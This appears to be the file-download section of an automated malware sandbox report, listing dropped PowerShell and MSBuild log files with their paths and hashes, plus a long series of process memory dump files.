Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 723f5ae03f2b55f7614aee0837f65e259e0d2dbc8a2260b37ee7bf7acf4b7864
MD5 c282a667e309161aba2fd08faea883a0
SHA1 3b6dbcf80105be31cdf7e4f18f0901fb294c07bd
SHA512 e304d4edad43e39fe6da754557ade1fd0aba8de5ffa4691753a608038ee4098087c11cb09716a634ed88c4a9d130232c7121578fb941c9a2d44578a61f2da1a3
TLSH
T16E71F0323275B1D4C9167F071E68598063BF4356FAA4AF1CB29C625EDD2601B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MSBuild.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log
Size 1KB
SHA256 7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
MD5 8ec831f3e3a3f77e4a7b9cd32b48384c
SHA1 d83f09fd87c5bd86e045873c231c14836e76a05c
SHA512 26bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3
TLSH
T104219B303222B5D84D022F530C0869C513EF4759BB64EE2CB959231EDD2A457AB211E3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7bb0a87f3fbdb765c7726faf4cf1384c52253296bbdc49d49c0be76544e8c669
MD5 8b03a7523b27c1913b41a0fb9c833b55
SHA1 846f6c32eafef15d7f31a43e7ee89dc32e24e149
SHA512 d78f3e2798e81306a9e879b1fbb5dcf9660c09df5f92c1a0be320b2c3d1c2881a22c08a65f60a41e6637934c09c4dc996f5bd87b56dcfeac7d5180ab0cf56042
TLSH
T18521B727F39CC961CC96113A40AE9C1076B683DB429ECE9F7EC4D204E17F988CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 08d7a9de41de1e0c4786903036a6ff30820739fcf74c2d60e1fb0f177a03f319
MD5 d563d34b662f5c968fc752de70cf8e42
SHA1 b8f89143a13a4913ffa7508b5052f2904cec4143
SHA512 3c80a45b26e66a9c2efce0b3be9913a242457f597f7e9d24e2377e16834b6d7524db9952f218caefa2101fa49dbe9b0d5b01d4fc751b3a6fb2f6346e5240dbbe
TLSH
T1E421B727F39CC921CC96113A40AE9C1076B683D7429ECE9F7EC4D204E17F988CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tdif1ldr.5ze.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tdif1ldr.5ze.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1124-121-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-107-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-591-0x0000000008030000-0x0000000008058000-memory.dmp

Download

memory/1124-44-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-45-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-61-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-63-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-71-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-83-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-35-0x0000000000400000-0x0000000000596000-memory.dmp

Download

memory/1124-113-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-117-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-39-0x0000000005D50000-0x00000000062F4000-memory.dmp

Download

memory/1124-40-0x00000000056C0000-0x0000000005752000-memory.dmp

Download

memory/1124-41-0x0000000005680000-0x000000000568A000-memory.dmp

Download

memory/1124-42-0x0000000005990000-0x0000000005A2C000-memory.dmp

Download

memory/1124-43-0x00000000058F0000-0x0000000005958000-memory.dmp

Download

memory/1124-49-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-111-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-159-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-157-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-155-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-153-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-151-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-588-0x0000000007560000-0x0000000007588000-memory.dmp

Download

memory/1124-149-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-145-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-143-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-141-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-139-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-137-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-135-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-131-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-129-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-127-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-125-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-123-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-133-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-119-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-115-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-59-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-147-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-74-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-105-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-103-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-102-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-99-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-97-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-95-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-93-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-91-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-89-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-87-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-85-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-81-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-79-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-77-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-75-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-109-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-69-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-67-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-65-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-57-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-55-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-53-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-51-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1124-47-0x00000000058F0000-0x000000000597D000-memory.dmp

Download

memory/1540-33-0x0000012DFE1D0000-0x0000012DFE31E000-memory.dmp

Download

memory/1808-31-0x0000016B2EEC0000-0x0000016B2F00E000-memory.dmp

Download

memory/1808-34-0x0000016B14AD0000-0x0000016B14AE0000-memory.dmp

Download

memory/1808-2-0x0000016B14AD0000-0x0000016B14AE0000-memory.dmp

Download

memory/1808-15-0x0000016B2ED90000-0x0000016B2EDB2000-memory.dmp

Download

memory/4936-26-0x0000029C1EF50000-0x0000029C1EF62000-memory.dmp

Download

memory/4936-30-0x0000029C1CDD0000-0x0000029C1CDE0000-memory.dmp

Download

memory/4936-27-0x0000029C1CDB0000-0x0000029C1CDBC000-memory.dmp

Download

memory/4936-28-0x0000029C1CDC0000-0x0000029C1CDCA000-memory.dmp

Download

memory/4936-25-0x0000029C1F5A0000-0x0000029C1F6E2000-memory.dmp

Download

memory/4936-0-0x0000029C1CDD0000-0x0000029C1CDE0000-memory.dmp

Download

memory/4936-1-0x0000029C1CDD0000-0x0000029C1CDE0000-memory.dmp

Download

memory/4936-29-0x0000029C1CDD0000-0x0000029C1CDE0000-memory.dmp

Download

memory/4936-32-0x0000029C1EFB0000-0x0000029C1F0FE000-memory.dmp

Download

memory/4936-38-0x0000029C1EFB0000-0x0000029C1F0FE000-memory.dmp

Download